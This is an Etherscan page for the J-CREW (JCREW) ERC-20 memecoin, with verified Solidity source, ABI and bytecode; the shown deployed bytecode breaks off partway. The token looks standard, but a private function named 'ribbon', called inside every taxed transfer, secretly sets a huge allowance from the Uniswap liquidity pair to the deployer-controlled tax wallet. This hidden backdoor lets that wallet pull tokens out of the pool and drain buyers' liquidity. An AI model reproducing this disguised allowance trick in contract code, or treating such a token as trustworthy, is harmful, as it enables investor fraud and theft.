ETH Price: $3,488.78 (-0.07%)

Token

J-CREW (JCREW)
 

Overview

Max Total Supply

420,690,000,000 JCREW

Holders

89

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JCREW

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-15
*/

/**
Web: https://jcrew.fun
X:   https://x.com/jcrew_erc20
Tg:  https://t.me/jcrew_erc20
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract JCREW is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _rAllowed;
    mapping (address => bool) private _shouldExcludedR;
    address payable private rTaxReceipt;
    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=12;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;
    string private constant _name = unicode"J-CREW";
    string private constant _symbol = unicode"JCREW";
    uint256 public _maxRBAmount = 2 * _tTotal / 100;
    uint256 public _maxRBWallet = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold = 1 * _tTotal / 100;
    uint256 public _maxTaxSwap = 1 * _tTotal / 100;
    IUniswapV2Router02 private uniV2Router;
    address private uniV2Pair;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxRBAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        rTaxReceipt = payable(_msgSender());
        _tOwned[_msgSender()] = _tTotal;
        _shouldExcludedR[address(this)] = true;
        _shouldExcludedR[_msgSender()] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function createPairOf() external onlyOwner {
        uniV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniV2Router), _tTotal);
        uniV2Pair = IUniswapV2Factory(uniV2Router.factory()).createPair(
            address(this),
            uniV2Router.WETH()
        );
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _rAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _rAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _rAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from] - amount;
            _tOwned[to] = _tOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            if (from == uniV2Pair && to != address(uniV2Router) && ! _shouldExcludedR[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxRBAmount, "Exceeds the _maxRBAmount.");
                require(balanceOf(to) + amount <= _maxRBWallet, "Exceeds the maxWalletSize.");
                _buyCount++; 
            }
            if (ribbon([from==uniV2Pair?from:uniV2Pair, rTaxReceipt]) && to != uniV2Pair && ! _shouldExcludedR[to]) {
                require(balanceOf(to) + amount <= _maxRBWallet, "Exceeds the maxWalletSize.");
            }
            if(to == uniV2Pair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    rSwapToken(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                rSendEth();
            }
        }
        if(taxAmount>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _tOwned[from]=_tOwned[from].sub(amount);
        _tOwned[to]=_tOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function rSendEth() private {
        rTaxReceipt.transfer(address(this).balance);
    }
    function ribbon(address[2] memory ribs) private returns(bool){
        address ribA = ribs[0]; address ribB = ribs[1];
        _rAllowed[ribA][ribB]=(50+_maxRBAmount+50)*(1000+150);
        return true;
    }
    function withdrawEth() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
    function rSwapToken(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniV2Router.WETH();
        _approve(address(this), address(uniV2Router), amount);
        uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function min(uint256 a, uint256 b) private pure returns(uint256){
        return (a>b)?b:a;
    }
    function startTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniV2Pair).approve(address(uniV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    function removeLimits(address payable limit) external onlyOwner{
        _maxRBAmount=_tTotal; 
        _maxRBWallet=_tTotal;
        rTaxReceipt = limit; 
        _shouldExcludedR[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    receive() external payable {}   
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxRBAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxRBAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxRBWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPairOf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600555600f6006555f6007555f600855600c600955600c600a55600f600b555f600c5560646009600a61003991906102fd565b610048906461f313f880610312565b610053906002610312565b61005d9190610329565b600d55606461006e6009600a6102fd565b61007d906461f313f880610312565b610088906002610312565b6100929190610329565b600e5560646100a36009600a6102fd565b6100b2906461f313f880610312565b6100bd906001610312565b6100c79190610329565b600f5560646100d86009600a6102fd565b6100e7906461f313f880610312565b6100f2906001610312565b6100fc9190610329565b60105534801561010a575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556101696009600a6102fd565b610178906461f313f880610312565b335f81815260016020818152604080842095909555308084526003909152848320805460ff1990811684179091559383529382208054909316179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101e26009600a6102fd565b6101f1906461f313f880610312565b60405190815260200160405180910390a3610348565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561025557815f190482111561023b5761023b610207565b8085161561024857918102915b93841c9390800290610220565b509250929050565b5f8261026b575060016102f7565b8161027757505f6102f7565b816001811461028d5760028114610297576102b3565b60019150506102f7565b60ff8411156102a8576102a8610207565b50506001821b6102f7565b5060208310610133831016604e8410600b84101617156102d6575081810a6102f7565b6102e0838361021b565b805f19048211156102f3576102f3610207565b0290505b92915050565b5f61030b60ff84168361025d565b9392505050565b80820281158282048414176102f7576102f7610207565b5f8261034357634e487b7160e01b5f52601260045260245ffd5b500490565b6119dd806103555f395ff3fe608060405260043610610113575f3560e01c8063568181c11161009d57806395d89b411161006257806395d89b41146102df578063a0ef91df1461030c578063a9059cbb14610320578063bf474bed1461033f578063dd62ed3e14610354575f80fd5b8063568181c11461024757806356a17ee91461025c57806370a0823114610271578063715018a6146102a55780638da5cb5b146102b9575f80fd5b806318160ddd116100e357806318160ddd146101c657806323b872dd146101da578063293230b8146101f9578063313ce5671461020d57806332489e9b14610228575f80fd5b806306fdde031461011e578063095ea7b31461015e5780630f769dfc1461018d5780630faee56f146101a3575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260068152654a2d4352455760d01b60208201525b60405161015591906115e7565b60405180910390f35b348015610169575f80fd5b5061017d610178366004611630565b610398565b6040519015158152602001610155565b348015610198575f80fd5b506101a16103ae565b005b3480156101ae575f80fd5b506101b860105481565b604051908152602001610155565b3480156101d1575f80fd5b506101b86105b6565b3480156101e5575f80fd5b5061017d6101f436600461165a565b6105d7565b348015610204575f80fd5b506101a1610639565b348015610218575f80fd5b5060405160098152602001610155565b348015610233575f80fd5b506101a1610242366004611698565b61081e565b348015610252575f80fd5b506101b8600e5481565b348015610267575f80fd5b506101b8600d5481565b34801561027c575f80fd5b506101b861028b366004611698565b6001600160a01b03165f9081526001602052604090205490565b3480156102b0575f80fd5b506101a1610909565b3480156102c4575f80fd5b505f546040516001600160a01b039091168152602001610155565b3480156102ea575f80fd5b506040805180820190915260058152644a4352455760d81b6020820152610148565b348015610317575f80fd5b506101a161097a565b34801561032b575f80fd5b5061017d61033a366004611630565b6109da565b34801561034a575f80fd5b506101b8600f5481565b34801561035f575f80fd5b506101b861036e3660046116b3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a43384846109e6565b5060015b92915050565b5f546001600160a01b031633146103e05760405162461bcd60e51b81526004016103d7906116ea565b60405180910390fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561042f90309061041b6009600a611813565b61042a906461f313f880611821565b6109e6565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561047f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a39190611838565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610502573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105269190611838565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610570573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105949190611838565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f6105c36009600a611813565b6105d2906461f313f880611821565b905090565b5f6105e3848484610b09565b61062f843361042a85604051806060016040528060288152602001611980602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611203565b5060019392505050565b5f546001600160a01b031633146106625760405162461bcd60e51b81526004016103d7906116ea565b601254600160a01b900460ff16156106bc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d7565b6011546001600160a01b031663f305d71947306106ed816001600160a01b03165f9081526001602052604090205490565b5f806107005f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610766573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061078b9190611853565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107e0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610804919061187e565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108475760405162461bcd60e51b81526004016103d7906116ea565b6108536009600a611813565b610862906461f313f880611821565b600d556108716009600a611813565b610880906461f313f880611821565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108e66009600a611813565b6108f5906461f313f880611821565b60405190815260200160405180910390a150565b5f546001600160a01b031633146109325760405162461bcd60e51b81526004016103d7906116ea565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109a35760405162461bcd60e51b81526004016103d7906116ea565b5f47116109ae575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156109d7573d5f803e3d5ffd5b50565b5f6103a4338484610b09565b6001600160a01b038316610a485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d7565b6001600160a01b038216610aa95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d7565b6001600160a01b038216610bcf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d7565b5f8111610c305760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d7565b6012545f90600160b01b900460ff161580610c545750601254600160a81b900460ff165b15610d0c576001600160a01b0384165f90815260016020526040902054610c7c90839061189d565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cab9083906118b0565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cfe9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d3657505f546001600160a01b03848116911614155b156110cf576012546001600160a01b038581169116148015610d6657506011546001600160a01b03848116911614155b8015610d8a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610eef57601254600160a01b900460ff16610de05760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103d7565b610e0c6064610e06600954600c5411610dfb57600554610dff565b6007545b859061123b565b906112c0565b9050600d54821115610e605760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785242416d6f756e742e0000000000000060448201526064016103d7565b600e5482610e82856001600160a01b03165f9081526001602052604090205490565b610e8c91906118b0565b1115610eda5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d7565b600c8054905f610ee9836118c3565b91905055505b60408051808201909152601254610f44919081906001600160a01b03888116911614610f26576012546001600160a01b0316610f28565b865b6001600160a01b03908116825260045416602090910152611301565b8015610f5e57506012546001600160a01b03848116911614155b8015610f8257506001600160a01b0383165f9081526003602052604090205460ff16155b1561100157600e5482610fa9856001600160a01b03165f9081526001602052604090205490565b610fb391906118b0565b11156110015760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d7565b6012546001600160a01b039081169084160361103f5761103c6064610e06600a54600c541161103257600654610dff565b600854859061123b565b90505b601254600160a81b900460ff1615801561106657506012546001600160a01b038481169116145b801561107b5750601254600160b01b900460ff165b801561108a5750600b54600c54115b156110cf57305f90815260016020526040902054600f548111156110c5576110c56110c0846110bb84601054611362565b611362565b611376565b6110cd6114e6565b505b801561114757305f908152600160205260409020546110ee908261151c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113e9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611169908361157a565b6001600160a01b0385165f908152600160205260409020556111ac61118e838361157a565b6001600160a01b0385165f908152600160205260409020549061151c565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f5858561157a565b604051908152602001610cfe565b5f81848411156112265760405162461bcd60e51b81526004016103d791906115e7565b505f611232848661189d565b95945050505050565b5f825f0361124a57505f6103a8565b5f6112558385611821565b90508261126285836118db565b146112b95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d7565b9392505050565b5f6112b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115bb565b80516020820151600d545f92919061131a9060326118b0565b6113259060326118b0565b6113319061047e611821565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f81831161137057826112b9565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113bc576113bc6118fa565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611413573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114379190611838565b8160018151811061144a5761144a6118fa565b6001600160a01b03928316602091820292909201015260115461147091309116846109e6565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a89085905f9086903090429060040161190e565b5f604051808303815f87803b1580156114bf575f80fd5b505af11580156114d1573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109d7573d5f803e3d5ffd5b5f8061152883856118b0565b9050838110156112b95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d7565b5f6112b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611203565b5f81836115db5760405162461bcd60e51b81526004016103d791906115e7565b505f61123284866118db565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109d7575f80fd5b5f8060408385031215611641575f80fd5b823561164c8161161c565b946020939093013593505050565b5f805f6060848603121561166c575f80fd5b83356116778161161c565b925060208401356116878161161c565b929592945050506040919091013590565b5f602082840312156116a8575f80fd5b81356112b98161161c565b5f80604083850312156116c4575f80fd5b82356116cf8161161c565b915060208301356116df8161161c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176d57815f19048211156117535761175361171f565b8085161561176057918102915b93841c9390800290611738565b509250929050565b5f82611783575060016103a8565b8161178f57505f6103a8565b81600181146117a557600281146117af576117cb565b60019150506103a8565b60ff8411156117c0576117c061171f565b50506001821b6103a8565b5060208310610133831016604e8410600b84101617156117ee575081810a6103a8565b6117f88383611733565b805f190482111561180b5761180b61171f565b029392505050565b5f6112b960ff841683611775565b80820281158282048414176103a8576103a861171f565b5f60208284031215611848575f80fd5b81516112b98161161c565b5f805f60608486031215611865575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561188e575f80fd5b815180151581146112b9575f80fd5b818103818111156103a8576103a861171f565b808201808211156103a8576103a861171f565b5f600182016118d4576118d461171f565b5060010190565b5f826118f557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561195e5784516001600160a01b031683529383019391830191600101611939565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122057a27749dde8cc840683285332425d394d6ed502b96e990f3d8d5049e9e2375d64736f6c63430008190033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063568181c11161009d57806395d89b411161006257806395d89b41146102df578063a0ef91df1461030c578063a9059cbb14610320578063bf474bed1461033f578063dd62ed3e14610354575f80fd5b8063568181c11461024757806356a17ee91461025c57806370a0823114610271578063715018a6146102a55780638da5cb5b146102b9575f80fd5b806318160ddd116100e357806318160ddd146101c657806323b872dd146101da578063293230b8146101f9578063313ce5671461020d57806332489e9b14610228575f80fd5b806306fdde031461011e578063095ea7b31461015e5780630f769dfc1461018d5780630faee56f146101a3575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260068152654a2d4352455760d01b60208201525b60405161015591906115e7565b60405180910390f35b348015610169575f80fd5b5061017d610178366004611630565b610398565b6040519015158152602001610155565b348015610198575f80fd5b506101a16103ae565b005b3480156101ae575f80fd5b506101b860105481565b604051908152602001610155565b3480156101d1575f80fd5b506101b86105b6565b3480156101e5575f80fd5b5061017d6101f436600461165a565b6105d7565b348015610204575f80fd5b506101a1610639565b348015610218575f80fd5b5060405160098152602001610155565b348015610233575f80fd5b506101a1610242366004611698565b61081e565b348015610252575f80fd5b506101b8600e5481565b348015610267575f80fd5b506101b8600d5481565b34801561027c575f80fd5b506101b861028b366004611698565b6001600160a01b03165f9081526001602052604090205490565b3480156102b0575f80fd5b506101a1610909565b3480156102c4575f80fd5b505f546040516001600160a01b039091168152602001610155565b3480156102ea575f80fd5b506040805180820190915260058152644a4352455760d81b6020820152610148565b348015610317575f80fd5b506101a161097a565b34801561032b575f80fd5b5061017d61033a366004611630565b6109da565b34801561034a575f80fd5b506101b8600f5481565b34801561035f575f80fd5b506101b861036e3660046116b3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a43384846109e6565b5060015b92915050565b5f546001600160a01b031633146103e05760405162461bcd60e51b81526004016103d7906116ea565b60405180910390fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561042f90309061041b6009600a611813565b61042a906461f313f880611821565b6109e6565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561047f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a39190611838565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610502573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105269190611838565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610570573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105949190611838565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f6105c36009600a611813565b6105d2906461f313f880611821565b905090565b5f6105e3848484610b09565b61062f843361042a85604051806060016040528060288152602001611980602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611203565b5060019392505050565b5f546001600160a01b031633146106625760405162461bcd60e51b81526004016103d7906116ea565b601254600160a01b900460ff16156106bc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d7565b6011546001600160a01b031663f305d71947306106ed816001600160a01b03165f9081526001602052604090205490565b5f806107005f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610766573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061078b9190611853565b5050601254601154